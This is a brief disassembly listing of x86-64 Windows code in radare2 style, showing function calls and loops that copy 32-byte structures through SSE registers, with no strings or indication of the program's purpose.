mov r8, qword [rbp + 0x12e0]
call fcn.140004692
lea rcx, [rbp + 0xf48]
mov rdx, qword [rbp + 0x12b8]
mov r8, qword [rbp + 0x12c0]
call fcn.140004692
mov rcx, qword [rbp + 0xf88]
mov rdx, qword [rbp + 0xf90]
mov r8, rsi
mov r9, rbx
call fcn.140005b7c
test r12w, r12w
jne 0x140003744
push 0xffffffffffffffff
pop rsi
mov rcx, qword [rbp + 0x12e8]
inc rsi
cmp r14, rsi
je 0x140003cac
lea rbx, [rcx + 0x20]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0xfb0], xmm1
movaps xmmword [rbp + 0xfa0], xmm0
lea rcx, [rbp + 0xfa0]
call fcn.140005eec
mov rcx, rbx
test ax, ax
je 0x140003c49
mov rsi, r14
mov rbx, qword [rbp + 0x12e8]
sub rsi, 1
jb 0x140003cda
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp - 0x20], xmm1
movaps xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call 0x1400087b8
add rbx, 0x20
jmp 0x140003c88
mov rsi, r14
mov rbx, qword [rbp + 0x12e8]
sub rsi, 1
jb 0x140003cda
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp - 0x20], xmm1
movaps xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call 0x1400087b8
add rbx, 0x20
jmp 0x140003cb6
lea rcx, [rbp + 0xf88]
mov rdx, qword [rbp + 0x12e8]
mov r8, r14
call fcn.140005e72
jmp 0x140003744